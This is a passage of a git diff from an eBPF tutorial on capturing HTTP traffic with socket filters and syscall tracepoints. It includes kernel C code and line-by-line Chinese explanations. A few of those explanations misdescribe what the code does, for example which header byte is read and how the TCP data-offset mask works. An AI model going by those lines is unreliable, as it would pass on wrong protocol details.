HTTP 请求或响应 + // ... Check if the data is an HTTP request or response } -// 辅助函数,处理读取的数据 +// Helper function to process the read data static inline void process_data(struct trace_event_raw_sys_exit *ctx, u64 id, const struct data_args_t *args, u64 bytes_count) { - // ... 处理读取的数据,检查是否为 HTTP 流量,并发送事件 + // ... Process the read data, check if it's HTTP traffic, and send events if (is_http_connection(line_buffer, bytes_count)) { // ... @@ -575,11 +562,11 @@ static inline void process_data(struct trace_event_raw_sys_exit *ctx, } } -// 定义在 read 系统调用退出的追踪点 +// Define a tracepoint at the exit of the read system call SEC("tracepoint/syscalls/sys_exit_read") int sys_exit_read(struct trace_event_raw_sys_exit *ctx) { - // ... 处理 read 调用的结果 + // ... Process the result of the read call struct data_args_t *read_args = bpf_map_lookup_elem(&active_read_args_map, &id); if (read_args != NULL) { @@ -592,61 +579,61 @@ int sys_exit_read(struct trace_event_raw_sys_exit *ctx) char _license[] SEC("license") = "GPL"; ``` -这段代码简要展示了如何使用eBPF追踪Linux内核中的系统调用来捕获HTTP流量。以下是对代码的hook位置和流程的详细解释,以及需要hook哪些系统调用来实现完整的请求追踪: +This code briefly demonstrates how to use eBPF to trace system calls in the Linux kernel to capture HTTP traffic. Here's a detailed explanation of the hook locations and the flow, as well as the complete set of system calls that need to be hooked for comprehensive request tracing: -### **Hook 位置和流程** +### Hook Locations and Flow -- 该代码使用了eBPF的Tracepoint功能,具体来说,它定义了一系列的eBPF程序,并将它们绑定到了特定的系统调用的Tracepoint上,以捕获这些系统调用的入口和退出事件。 +- The code uses eBPF Tracepoint functionality. Specifically, it defines a series of eBPF programs and binds them to specific system call Tracepoints to capture entry and exit events of these system calls. -- 首先,它定义了两个eBPF哈希映射(`active_accept_args_map`和`active_read_args_map`)来存储系统调用参数。这些映射用于跟踪`accept`和`read`系统调用。 +- First, it defines two eBPF hash maps (`active_accept_args_map` and `active_read_args_map`) to store system call parameters. These maps are used to track `accept` and `read` system calls. -- 接着,它定义了多个Tracepoint追踪程序,其中包括: - - `sys_enter_accept`:定义在`accept`系统调用的入口处,用于捕获`accept`系统调用的参数,并将它们存储在哈希映射中。 - - `sys_exit_accept`:定义在`accept`系统调用的退出处,用于处理`accept`系统调用的结果,包括获取和存储新的套接字文件描述符以及建立连接的相关信息。 - - `sys_enter_read`:定义在`read`系统调用的入口处,用于捕获`read`系统调用的参数,并将它们存储在哈希映射中。 - - `sys_exit_read`:定义在`read`系统调用的退出处,用于处理`read`系统调用的结果,包括检查读取的数据是否为HTTP流量,如果是,则发送事件。 +- Next, it defines multiple Tracepoint tracing programs, including: + - `sys_enter_accept`: Defined at the entry of the `accept` system call, used to capture the arguments of the `accept` system call and store them in the hash map. + - `sys_exit_accept`: Defined at the exit of the `accept` system call, used to process the result of the `accept` system call, including obtaining and storing the new socket file descriptor and related connection information. + - `sys_enter_read`: Defined at the entry of the `read` system call, used to capture the arguments of the `read` system call and store them in the hash map. + - `sys_exit_read`: Defined at the exit of the `read` system call, used to process the result of the `read` system call, including checking if the read data is HTTP traffic and sending events. -- 在`sys_exit_accept`和`sys_exit_read`中,还涉及一些数据处理和事件发送的逻辑,例如检查数据是否为HTTP连接,组装事件数据,并使用`bpf_perf_event_output`将事件发送到用户空间供进一步处理。 +- In `sys_exit_accept` and `sys_exit_read`, there is also some data processing and event sending logic, such as checking if the data is an HTTP connection, assembling event data, and using `bpf_perf_event_output` to send events to user space for further processing. -### **需要 Hook 的完整系统调用** +### Complete Set of System Calls to Hook -要实现完整的HTTP请求追踪,通常需要hook的系统调用包括: +To fully implement HTTP request tracing, the system calls that typically need to be hooked include: -- `socket`:用于捕获套接字创建,以追踪新的连接。 -- `bind`:用于获取绑定的端口信息。 -- `listen`:用于开始监听连接请求。 -- `accept`:用于接受连接请求,获取新的套接字文件描述符。 -- `read`:用于捕获接收到的数据,以检查其中是否包含 HTTP 请求。 -- `write`:用于捕获发送的数据,以检查其中是否包含 HTTP 响应。 +- `socket`: Used to capture socket creation for tracking new connections. +- `bind`: Used to obtain port information where the socket is bound. +- `listen`: Used to start listening for connection requests. +- `accept`: Used to accept connection requests and obtain new socket file descriptors. +- `read`: Used to capture received data and check if it contains HTTP requests. +- `write`: Used to capture sent data and check if it contains HTTP responses. -上述代码已经涵盖了`accept`和`read`系统调用的追踪。要完整实现HTTP请求的追踪,还需要hook其他系统调用,并实现相应的逻辑来处理这些系统调用的参数和结果。 +The provided code already covers the tracing of `accept` and `read` system calls. To complete HTTP request tracing, additional system calls need to be hooked, and corresponding logic needs to be implemented to handle the parameters and results of these system calls. -完整的源代码可以在 中找到。 +The complete source code can be found at . -## 总结 +## Summary -在当今复杂的技术环境中,系统的可观测性变得至关重要,特别是在微服务和云原生应用程序的背景下。本文探讨了如何利用eBPF技术来追踪七层协议,以及在这个过程中可能面临的挑战和解决方案。以下是对本文内容的总结: +In today's complex technological landscape, system observability has become crucial, especially in the context of microservices and cloud-native applications. This article explores how to leverage eBPF technology for tracing the seven-layer protocols, along with the challenges and solutions that may arise in this process. Here's a summary of the content covered in this article: -1. **背景介绍**: - - 现代应用程序通常由多个微服务和分布式组件组成,因此观测整个系统的行为至关重要。 - - 七层协议(如HTTP、gRPC、MQTT等)提供了深入了解应用程序交互的详细信息,但监控这些协议通常具有挑战性。 +1. **Introduction**: + - Modern applications often consist of multiple microservices and distributed components, making it essential to observe the behavior of the entire system. + - Seven-layer protocols (such as HTTP, gRPC, MQTT, etc.) provide detailed insights into application interactions, but monitoring these protocols can be challenging. -2. **eBPF技术的作用**: - - eBPF允许开发者在不修改或插入应用程序代码的情况下,深入内核层来实时观测和分析系统行为。 - - eBPF技术为监控七层协议提供了一个强大的工具,特别适用于微服务环境。 +2. **Role of eBPF Technology**: + - eBPF allows developers to dive deep into the kernel layer for real-time observation and analysis of system behavior without modifying or inserting application code. + - eBPF technology offers a powerful tool for monitoring seven-layer protocols, especially in a microservices environment. -3. **追踪七层协议**: - - 本文介绍了如何追踪HTTP等七层协议的挑战,包括协议的复杂性和动态性。 - - 传统的网络监控工具难以应对七层协议的复杂性。 +3. **Tracing Seven-Layer Protocols**: + - The article discusses the challenges of tracing seven-layer protocols, including their complexity and dynamism. + - Traditional network monitoring tools struggle with the complexity of seven-layer protocols. -4. **eBPF的应用**: - - eBPF提供两种主要方法来追踪七层协议:socket filter和syscall trace。 - - 这两种方法可以帮助捕获HTTP等协议的网络请求数据,并分析它们。 +4. **Applications of eBPF**: + - eBPF provides two primary methods for tracing seven-layer protocols: socket filters and syscall tracing. + - Both of these methods help capture network request data for protocols like HTTP and analyze them. -5. **eBPF实践教程**: - - 本文提供了一个实际的eBPF教程,演示如何使用eBPF socket filter或syscall trace来捕获和分析HTTP流量。 - - 教程内容包括开发eBPF程序、使用eBPF工具链和实施HTTP请求的追踪。 +5. **eBPF Practical Tutorial**: + - The article provides a practical eBPF tutorial demonstrating how to capture and analyze HTTP traffic using eBPF socket filters or syscall tracing. + - The tutorial covers the development of eBPF programs, the use of the eBPF toolchain, and the implementation of HTTP request tracing. -通过这篇文章,读者可以获得深入了解如何使用eBPF技术来追踪七层协议,尤其是HTTP流量的知识。这将有助于更好地监控和分析网络流量,从而提高应用程序性能和安全性。如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +Through this article, readers can gain a deep understanding of how to use eBPF technology for tracing seven-layer protocols, particularly HTTP traffic. This knowledge will help enhance the monitoring and analysis of network traffic, thereby improving application performance and security. If you're interested in learning more about eBPF and its practical applications, you can visit our tutorial code repository at or our website at for more examples and complete tutorials. -> 原文地址: 转载请注明出处。 +> The original link of this article: diff --git a/src/23-http/README.zh.md b/src/23-http/README.zh.md new file mode 100644 index 00000000..a6d11043 --- /dev/null +++ b/src/23-http/README.zh.md @@ -0,0 +1,652 @@ +# 通过 eBPF socket filter 或 syscall trace 追踪 HTTP 请求等七层协议 - eBPF 实践教程 + +在当今的技术环境中,随着微服务、云原生应用和复杂的分布式系统的崛起,系统的可观测性已成为确保其健康、性能和安全的关键要素。特别是在微服务架构中,应用程序的组件可能分布在多个容器和服务器上,这使得传统的监控方法往往难以提供足够的深度和广度来全面了解系统的行为。这就是为什么观测七层协议,如 HTTP、gRPC、MQTT 等,变得尤为重要。 + +七层协议为我们提供了关于应用程序如何与其他服务和组件交互的详细信息。在微服务环境中,了解这些交互是至关重要的,因为它们经常是性能瓶颈、故障和安全问题的根源。然而,监控这些协议并不简单。传统的网络监控工具,如 tcpdump,虽然在捕获网络流量方面非常有效,但在处理七层协议的复杂性和动态性时,它们往往显得力不从心。 + +这正是 eBPF 技术发挥作用的地方。eBPF 允许开发者和运维人员深入到系统的内核层,实时观测和分析系统的行为,而无需对应用程序代码进行任何修改或插入埋点。这为我们提供了一个独特的机会,可以更简单、更高效地处理应用层流量,特别是在微服务环境中。 + +在本教程中,我们将深入探讨以下内容: + +- 追踪七层协议,如 HTTP,以及与其相关的挑战。 +- eBPF 的 socket filter 和 syscall 追踪:这两种技术如何帮助我们在不同的内核层次追踪 HTTP 网络请求数据,以及这两种方法的优势和局限性。 +- eBPF 实践教程:如何开发一个 eBPF 程序,使用 eBPF socket filter 或 syscall 追踪来捕获和分析 HTTP 流量 + +随着网络流量的增加和应用程序的复杂性增加,对七层协议的深入了解变得越来越重要。通过本教程,您将获得必要的知识和工具,以便更有效地监控和分析您的网络流量,从而为您的应用程序和服务器提供最佳的性能。 + +本文是 eBPF 开发者教程的一部分,更详细的内容可以在这里找到: 源代码在 [GitHub 仓库](https://github.com/eunomia-bpf/bpf-developer-tutorial) 中开源。 + +## 追踪 HTTP, HTTP/2 等七层协议的挑战 + +在现代的网络环境中,七层协议不仅仅局限于 HTTP。实际上,有许多七层协议,如 HTTP/2, gRPC, MQTT, WebSocket, AMQP 和 SMTP,它们都在不同的应用场景中发挥着关键作用。这些协议为我们提供了关于应用程序如何与其他服务和组件交互的详细信息。但是,追踪这些协议并不是一个简单的任务,尤其是在复杂的分布式系统中。 + +1. **多样性和复杂性**:每种七层协议都有其特定的设计和工作原理。例如,gRPC 使用了 HTTP/2 作为其传输协议,并支持多种语言。而 MQTT 是为低带宽和不可靠的网络设计的轻量级发布/订阅消息传输协议。 + +2. **动态性**:许多七层协议都是动态的,这意味着它们的行为可能会根据网络条件、应用需求或其他因素而变化。 + +3. **加密和安全性**:随着安全意识的增强,许多七层协议都采用了加密技术,如 TLS/SSL。这为追踪和分析带来了额外的挑战,因为需要解密流量才能进行深入的分析。 + +4. **高性能需求**:在高流量的生产环境中,捕获和分析七层协议的流量可能会对系统性能产生影响。传统的网络监控工具可能无法处理大量的并发会话。 + +5. **数据的完整性和连续性**:与 tcpdump 这样的工具只捕获单独的数据包不同,追踪七层协议需要捕获完整的会话,这可能涉及多个数据包。这要求工具能够正确地重组和解析这些数据包,以提供连续的会话视图。 + +6. **代码侵入性**:为了深入了解七层协议的行为,开发人员可能需要修改应用程序代码以添加监控功能。这不仅增加了开发和维护的复杂性,而且可能会影响应用程序的性能。 + +正如上文所述,eBPF 提供了一个强大的解决方案,允许我们在内核层面捕获和分析七层协议的流量,而无需对应用程序进行任何修改。这种方法为我们提供了一个独特的机会,可以更简单、更高效地处理应用层流量,特别是在微服务和分布式环境中。 + +在处理网络流量和系统行为时,选择在内核态而非用户态进行处理有其独特的优势。首先,内核态处理可以直接访问系统资源和硬件,从而提供更高的性能和效率。其次,由于内核是操作系统的核心部分,它可以提供对系统行为的全面视图,而不受任何用户空间应用程序的限制。 + +**无插桩追踪("zero-instrumentation observability")**的优势如下: + +1. **性能开销小**:由于不需要修改或添加额外的代码到应用程序中,所以对性能的影响最小化。 +2. **透明性**:开发者和运维人员不需要知道应用程序的内部工作原理,也不需要访问源代码。 +3. **灵活性**:可以轻松地在不同的环境和应用程序中部署和使用,无需进行任何特定的配置或修改。 +4. **安全性**:由于不需要修改应用程序代码,所以降低了引入潜在安全漏洞的风险。 + +利用 eBPF 在内核态进行无插桩追踪,我们可以实时捕获和分析系统的行为,而不需要对应用程序进行任何修改。这种方法不仅提供了对系统深入的洞察力,而且确保了最佳的性能和效率。这是为什么 eBPF 成为现代可观测性工具的首选技术,特别是在需要高性能和低延迟的生产环境中。 + +## eBPF 中的 socket filter 与 syscall 追踪:深入解析与比较 + +### **eBPF Socket Filter** + +**是什么?** +eBPF socket filter 是经典的 Berkeley Packet Filter (BPF) 的扩展,允许在内核中直接进行更高级的数据包过滤。它在套接字层操作,使得可以精细地控制哪些数据包被用户空间应用程序处理。 + +**主要特点:** + +- **性能**:通过在内核中直接处理数据包,eBPF socket filters 减少了用户和内核空间之间的上下文切换的开销。 +- **灵活性**:eBPF socket filters 可以附加到任何套接字,为各种协议和套接字类型提供了通用的数据包过滤机制。 +- **可编程性**:开发者可以编写自定义的 eBPF 程序来定义复杂的过滤逻辑,超越简单的数据包匹配。 + +**用途:** + +- **流量控制**:根据自定义条件限制或优先处理流量。 +- **安全性**:在它们到达用户空间应用程序之前丢弃恶意数据包。 +- **监控**:捕获特定数据包进行分析,而不影响其它流量。 + +### **eBPF Syscall Tracing** + +**是什么?** +使用 eBPF 进行的系统调用跟踪允许监视和操作应用程序发出的系统调用。系统调用是用户空间应用程序与内核交互的主要机制,因此跟踪它们可以深入了解应用程序的行为。 + +**主要特点:** + +- **粒度**:eBPF 允许跟踪特定的系统调用,甚至是这些系统调用中的特定参数。 +- **低开销**:与其他跟踪方法相比,eBPF 系统调用跟踪旨在具有最小的性能影响。 +- **安全性**:内核验证 eBPF 程序,以确保它们不会损害系统稳定性。 + +**工作原理:** +eBPF 系统调用跟踪通常涉及将 eBPF 程序附加到与系统调用相关的 tracepoints 或 kprobes。当跟踪的系统调用被调用时,执行 eBPF 程序,允许收集数据或甚至修改系统调用参数。 + +### eBPF 的 socket filter 和 syscall 追踪的对比 + +| 项目 | eBPF Socket Filter | eBPF Syscall Tracing | +|------|--------------------|----------------------| +| **操作层** | 套接字层,主要处理从套接字接收或发送的网络数据包 | 系统调用层,监视和可能更改应用程序发出的系统调用的行为 | +| **主要用途** | 主要用于网络数据包的过滤、监控和操作 | 用于性能分析、安全监控和系统调用交互的调试 | +| **粒度** | 专注于单个网络数据包 | 可以监视与网络无关的广泛的系统活动 | +| **追踪 HTTP 流量** | 可以用于过滤和捕获通过套接字传递的 HTTP 数据包 | 可以跟踪与网络操作相关的系统调用 | + +总之,eBPF 的 socket filter 和 syscall 追踪都可以用于追踪 HTTP 流量,但 socket filters 更直接且更适合此目的。然而,如果您对应用程序如何与系统交互的更广泛的上下文感兴趣(例如,哪些系统调用导致了 HTTP 流量),那么系统调用跟踪将是非常有价值的。在许多高级的可观察性设置中,这两种工具可能会同时使用,以提供系统和网络行为的全面视图。 + +## 使用 eBPF socket filter 来捕获 HTTP 流量 + +eBPF 代码由用户态和内核态组成,这里主要关注于内核态代码。这是使用 eBPF socket filter 技术来在内核中捕获HTTP流量的主要逻辑,完整代码如下: + +```c +SEC("socket") +int socket_handler(struct __sk_buff *skb) +{ + struct so_event *e; + __u8 verlen; + __u16 proto; + __u32 nhoff = ETH_HLEN; + __u32 ip_proto = 0; + __u32 tcp_hdr_len = 0; + __u16 tlen; + __u32 payload_offset = 0; + __u32 payload_length = 0; + __u8 hdr_len; + + bpf_skb_load_bytes(skb, 12, &proto, 2); + proto = __bpf_ntohs(proto); + if (proto != ETH_P_IP) + return 0; + + if (ip_is_fragment(skb, nhoff)) + return 0; + + // ip4 header lengths are variable + // access ihl as a u8 (linux/include/linux/skbuff.h) + bpf_skb_load_bytes(skb, ETH_HLEN, &hdr_len, sizeof(hdr_len)); + hdr_len &= 0x0f; + hdr_len *= 4; + + /* verify hlen meets minimum size requirements */ + if (hdr_len < sizeof(struct iphdr)) + { + return 0; + } + + bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, protocol), &ip_proto, 1); + + if (ip_proto != IPPROTO_TCP) + { + return 0; + } + + tcp_hdr_len = nhoff + hdr_len; + bpf_skb_load_bytes(skb, nhoff + 0, &verlen, 1); + bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, tot_len), &tlen, sizeof(tlen)); + + __u8 doff; + bpf_skb_load_bytes(skb, tcp_hdr_len + offsetof(struct __tcphdr, ack_seq) + 4, &doff, sizeof(doff)); // read the first byte past __tcphdr->ack_seq, we can't do offsetof bit fields + doff &= 0xf0; // clean-up res1 + doff >>= 4; // move the upper 4 bits to low + doff *= 4; // convert to bytes length + + payload_offset = ETH_HLEN + hdr_len + doff; + payload_length = __bpf_ntohs(tlen) - hdr_len - doff; + + char line_buffer[7]; + if (payload_length < 7 || payload_offset < 0) + { + return 0; + } + bpf_skb_load_bytes(skb, payload_offset, line_buffer, 7); + bpf_printk("%d len %d buffer: %s", payload_offset, payload_length, line_buffer); + if (bpf_strncmp(line_buffer, 3, "GET") != 0 && + bpf_strncmp(line_buffer, 4, "POST") != 0 && + bpf_strncmp(line_buffer, 3, "PUT") != 0 && + bpf_strncmp(line_buffer, 6, "DELETE") != 0 && + bpf_strncmp(line_buffer, 4, "HTTP") != 0) + { + return 0; + } + + /* reserve sample from BPF ringbuf */ + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (!e) + return 0; + + e->ip_proto = ip_proto; + bpf_skb_load_bytes(skb, nhoff + hdr_len, &(e->ports), 4); + e->pkt_type = skb->pkt_type; + e->ifindex = skb->ifindex; + + e->payload_length = payload_length; + bpf_skb_load_bytes(skb, payload_offset, e->payload, MAX_BUF_SIZE); + + bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, saddr), &(e->src_addr), 4); + bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, daddr), &(e->dst_addr), 4); + bpf_ringbuf_submit(e, 0); + + return skb->len; +} +``` + +当分析这段eBPF程序时,我们将按照每个代码块的内容来详细解释,并提供相关的背景知识: + +```c +SEC("socket") +int socket_handler(struct __sk_buff *skb) +{ + // ... +} +``` + +这是eBPF程序的入口点,它定义了一个名为 `socket_handler` 的函数,它会被内核用于处理传入的网络数据包。这个函数位于一个名为 `socket` 的 eBPF 节(section)中,表明这个程序用于套接字处理。 + +```c +struct so_event *e; +__u8 verlen; +__u16 proto; +__u32 nhoff = ETH_HLEN; +__u32 ip_proto = 0; +__u32 tcp_hdr_len = 0; +__u16 tlen; +__u32 payload_offset = 0; +__u32 payload_length = 0; +__u8 hdr_len; +``` + +在这个代码块中,我们定义了一些变量来存储在处理数据包时需要的信息。这些变量包括了`struct so_event *e`用于存储事件信息,`verlen`、`proto`、`nhoff`、`ip_proto`、`tcp_hdr_len`、`tlen`、`payload_offset`、`payload_length`、`hdr_len`等用于存储数据包信息的变量。 + +- `struct so_event *e;`:这是一个指向`so_event`结构体的指针,用于存储捕获到的事件信息。该结构体的具体定义在程序的其他部分。 +- `__u8 verlen;`、`__u16 proto;`、`__u32 nhoff = ETH_HLEN;`:这些变量用于存储各种信息,例如协议类型、数据包偏移量等。`nhoff`初始化为以太网帧头部的长度,通常为14字节,因为以太网帧头部包括目标MAC地址、源MAC地址和帧类型字段。 +- `__u32 ip_proto = 0;`:这个变量用于存储IP协议的类型,初始化为0。 +- `__u32 tcp_hdr_len = 0;`:这个变量用于存储TCP头部的长度,初始化为0。 +- `__u16 tlen;`:这个变量用于存储IP数据包的总长度。 +- `__u32 payload_offset = 0;`、`__u32 payload_length = 0;`:这两个变量用于存储HTTP请求的载荷(payload)的偏移量和长度。 +- `__u8 hdr_len;`:这个变量用于存储IP头部的长度。 + +```c +bpf_skb_load_bytes(skb, 12, &proto, 2); +proto = __bpf_ntohs(proto); +if (proto != ETH_P_IP) + return 0; +``` + +在这里,代码从数据包中加载了以太网帧的类型字段,这个字段告诉我们数据包使用的网络层协议。然后,使用`__bpf_ntohs`函数将网络字节序的类型字段转换为主机字节序。接下来,代码检查类型字段是否等于IPv4的以太网帧类型(0x0800)。如果不等于,说明这个数据包不是IPv4数据包,直接返回0,放弃处理。 + +这里需要了解以下几个概念: + +- 以太网帧(Ethernet Frame):是数据链路层(第二层)的协议,用于在局域网中传输数据帧。以太网帧通常包括目标MAC地址、源MAC地址和帧类型字段。 +- 网络字节序(Network Byte Order):网络协议通常使用大端字节序(Big-Endian)来表示数据。因此,需要将从网络中接收到的数据转换为主机字节序,以便在主机上正确解释数据。 +- IPv4帧类型(ETH_P_IP):表示以太网帧中包含的协议类型字段,0x0800表示IPv4。 + +```c +if (ip_is_fragment(skb, nhoff)) + return 0; +``` + +这一部分的代码检查是否处理IP分片。IP分片是将较大的IP数据包分割成多个小片段以进行传输的机制。在这里,如果数据包是IP分片,则直接返回0,表示不处理分片,只处理完整的数据包。 + +```c +static inline int ip_is_fragment(struct __sk_buff *skb, __u32 nhoff) +{ + __u16 frag_off; + + bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, frag_off), &frag_off, 2); + frag_off = __bpf_ntohs(frag_off); + return frag_off & (IP_MF | IP_OFFSET); +} +``` + +上述代码是一个辅助函数,用于检查传入的IPv4数据包是否为IP分片。IP分片是一种机制,当IP数据包的大小超过了网络的最大传输单元(MTU),路由器会将其分割成多个较小的片段,以便在网络上进行传输。这个函数的目的是检查数据包的分片标志(Fragmentation Flag)以及片偏移(Fragment Offset)字段,以确定是否为分片。 + +下面是代码的逐行解释: + +1. `__u16 frag_off;`:定义一个16位无符号整数变量`frag_off`,用于存储片偏移字段的值。 +2. `bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, frag_off), &frag_off, 2);`:这行代码使用`bpf_skb_load_bytes`函数从数据包中加载IPv4头部的片偏移字段(`frag_off`),并加载2个字节。`nhoff`是IPv4头部在数据包中的偏移量,`offsetof(struct iphdr, frag_off)`用于计算片偏移字段在IPv4头部中的偏移量。 +3. `frag_off = __bpf_ntohs(frag_off);`:将加载的片偏移字段从网络字节序(Big-Endian)转换为主机字节序。网络协议通常使用大端字节序表示数据,而主机可能使用大端或小端字节序。这里将片偏移字段转换为主机字节序,以便进一步处理。 +4. `return frag_off & (IP_MF | IP_OFFSET);`:这行代码通过使用位运算检查片偏移字段的值,以确定是否为IP分片。具体来说,它使用位与运算符`&`将片偏移字段与两个标志位进行位与运算: + - `IP_MF`:表示"更多分片"标志(More Fragments)。如果这个标志位被设置为1,表示数据包是分片的一部分,还有更多分片。 + - `IP_OFFSET`:表示片偏移字段。如果片偏移字段不为0,表示数据包是分片的一部分,且具有片偏移值。 + 如果这两个标志位中的任何一个被设置为1,那么结果就不为零,说明数据包是IP分片。如果都为零,说明数据包不是分片。 + +需要注意的是,IP头部的片偏移字段以8字节为单位,所以实际的片偏移值需要左移3位来得到字节偏移。此外,IP头部的"更多分片"标志(IP_MF)表示数据包是否有更多的分片,通常与片偏移字段一起使用来指示整个数据包的分片情况。这个函数只关心这两个标志位,如果其中一个标志被设置,就认为是IP分片。 + +```c +bpf_skb_load_bytes(skb, ETH_HLEN, &hdr_len, sizeof(hdr_len)); +hdr_len &= 0x0f; +hdr_len *= 4; +``` + +这一部分的代码从数据包中加载IP头部的长度字段。IP头部长度字段包含了IP头部的长度信息,以4字节为单位,需要将其转换为字节数。这里通过按位与和乘以4来进行转换。 + +需要了解: + +- IP头部(IP Header):IP头部包含了关于数据包的基本信息,如源IP地址、目标IP地址、协议类型和头部校验和等。头部长度字段(IHL,Header Length)表示IP头部的长度,以4字节为单位,通常为20字节(5个4字节的字)。 + +```c +if (hdr_len < sizeof(struct iphdr)) +{ + return 0; +} +``` + +这段代码检查IP头部的长度是否满足最小长度要求,通常IP头部的最小长度是20字节。如果IP头部的长度小于20字节,说明数据包不完整或损坏,直接返回0,放弃处理。 + +需要了解: + +- `struct iphdr`:这是Linux内核中定义的结构体,表示IPv4头部的格式。它包括了版本、头部长度、服务类型、总长度、 + +标识符、标志位、片偏移、生存时间、协议、头部校验和、源IP地址和目标IP地址等字段。 + +```c +bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, protocol), &ip_proto, 1); +if (ip_proto != IPPROTO_TCP) +{ + return 0; +} +``` + +在这里,代码从数据包中加载IP头部中的协议字段,以确定数据包使用的传输层协议。然后,它检查协议字段是否为TCP协议(IPPROTO_TCP)。如果不是TCP协议,说明不是HTTP请求或响应,直接返回0。 + +需要了解: + +- 传输层协议:IP头部中的协议字段指示了数据包所使用的传输层协议,例如TCP、UDP或ICMP。 + +```c +tcp_hdr_len = nhoff + hdr_len; +``` + +这行代码计算了TCP头部的偏移量。它将以太网帧头部的长度(`nhoff`)与IP头部的长度(`hdr_len`)相加,得到TCP头部的起始位置。 + +```c +bpf_skb_load_bytes(skb, nhoff + 0, &verlen, 1); +``` + +这行代码从数据包中加载TCP头部的第一个字节,该字节包含了TCP头部长度信息。这个长度字段以4字节为单位,需要进行后续的转换。 + +```c +bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, tot_len), &tlen, sizeof(tlen)); +``` + +这行代码从数据包中加载IP头部的总长度字段。IP头部总长度字段表示整个IP数据包的长度,包括IP头部和数据部分。 + +```c +__u8 doff; +bpf_skb_load_bytes(skb, tcp_hdr_len + offsetof(struct __tcphdr, ack_seq) + 4, &doff, sizeof(doff)); +doff &= 0xf0; +doff >>= 4; +doff *= 4; +``` + +这段代码用于计算TCP头部的长度。它加载TCP头部中的数据偏移字段(Data Offset,也称为头部长度字段),该字段表示TCP头部的长度以4字节为单位。代码将偏移字段的高四位清零,然后将其右移4位,最后乘以4,得到TCP头部的实际长度。 + +需要了解: + +- TCP头部(TCP Header):TCP头部包含了TCP协议相关的信息,如源端口、目标端口、序列号、确认号、标志位(如SYN、ACK、FIN等)、窗口大小和校验和等。 + +```c +payload_offset = ETH_HLEN + hdr_len + doff; +payload_length = __bpf_ntohs(tlen) - hdr_len - doff; +``` + +这两行代码计算HTTP请求的载荷(payload)的偏移量和长度。它们将以太网帧头部长度、IP头部长度和TCP头部长度相加,得到HTTP请求的数据部分的偏移量,然后通过减去总长度、IP头部长度和TCP头部长度,计算出HTTP请求数据的长度。 + +需要了解: + +- HTTP请求载荷(Payload):HTTP请求中包含的实际数据部分,通常是HTTP请求头和请求体。 + +```c +char line_buffer[7]; +if (payload_length < 7 || payload_offset < 0) +{ + return 0; +} +bpf_skb_load_bytes(skb, payload_offset, line_buffer, 7); +bpf_printk("%d len %d buffer: %s", payload_offset, payload_length, line_buffer); +``` + +这部分代码用于加载HTTP请求行的前7个字节,存储在名为`line_buffer`的字符数组中。然后,它检查HTTP请求数据的长度是否小于7字节或偏移量是否为负数,如果满足这些条件,说明HTTP请求不完整,直接返回0。最后,它使用`bpf_printk`函数将HTTP请求行的内容打印到内核日志中,以供调试和分析。 + +```c +if (bpf_strncmp(line_buffer, 3, "GET") != 0 && + bpf_strncmp(line_buffer, 4, "POST") != 0 && + bpf_strncmp(line_buffer, 3, "PUT") != 0 && + bpf_strncmp(line_buffer, 6, "DELETE") != 0 && + bpf_strncmp(line_buffer, 4, "HTTP") != 0) +{ + return 0; +} +``` + +> 注意:bpf_strncmp 这个内核 helper 在 5.17 版本中才被引入,如果你的内核版本低于 5.17,可以手动匹配字符串来实现相同的功能。 + +这段代码使用`bpf_strncmp`函数比较`line_buffer`中的数据与HTTP请求方法(GET、POST、PUT、DELETE、HTTP)是否匹配。如果不匹配,说明不是HTTP请求,直接返回0,放弃处理。 + +```c +e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); +if (!e) + return 0; +``` + +这部分代码尝试从BPF环形缓冲区中保留一块内存以存储事件信息。如果无法保留内存块,返回0。BPF环形缓冲区用于在eBPF程序和用户空间之间传递事件数据。 + +需要了解: + +- BPF环形缓冲区:BPF环形缓冲区是一种在eBPF程序和用户空间之间传递数据的机制。它可以用来存储事件信息,以便用户空间应用程序进行进一步处理或分析。 + +```c +e->ip_proto = ip_proto; +bpf_skb_load_bytes(skb, nhoff + hdr_len, &(e->ports), 4); +e->pkt_type = skb->pkt_type; +e->ifindex = skb->ifindex; + +e->payload_length = payload_length; +bpf_skb_load_bytes(skb, payload_offset, e->payload, MAX_BUF_SIZE); + +bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, saddr), &(e->src_addr), 4); +bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, daddr), &(e->dst_addr), 4); +bpf_ringbuf_submit(e, 0); + +return skb->len; +``` + +最后,这段代码将捕获到的事件信息存储在`e`结构体中,并将 + +其提交到BPF环形缓冲区。它包括了捕获的IP协议、源端口和目标端口、数据包类型、接口索引、载荷长度、源IP地址和目标IP地址等信息。最后,它返回数据包的长度,表示成功处理了数据包。 + +这段代码主要用于将捕获的事件信息存储起来,以便后续的处理和分析。 BPF环形缓冲区用于将这些信息传递到用户空间,供用户空间应用程序进一步处理或记录。 + +总结:这段eBPF程序的主要任务是捕获HTTP请求,它通过解析数据包的以太网帧、IP头部和TCP头部来确定数据包是否包含HTTP请求,并将有关请求的信息存储在`so_event`结构体中,然后提交到BPF环形缓冲区。这是一种高效的方法,可以在内核层面捕获HTTP流量,适用于网络监控和安全分析等应用。 + +### 潜在缺陷 + +上述代码也存在一些潜在的缺陷,其中一个主要缺陷是它无法处理跨多个数据包的URL。 + +- 跨包URL:代码中通过解析单个数据包来检查HTTP请求中的URL,如果HTTP请求的URL跨足够多的数据包,那么只会检查第一个数据包中的URL部分。这会导致丢失或部分记录那些跨多个数据包的长URL。 + +解决这个问题的方法通常需要对多个数据包进行重新组装,以还原完整的HTTP请求。这可能需要在eBPF程序中实现数据包的缓存和组装逻辑,并在检测到HTTP请求结束之前等待并收集所有相关数据包。这需要更复杂的逻辑和额外的内存来处理跨多个数据包的情况。 + +### 用户态代码 + +用户态代码的主要目的是创建一个原始套接字(raw 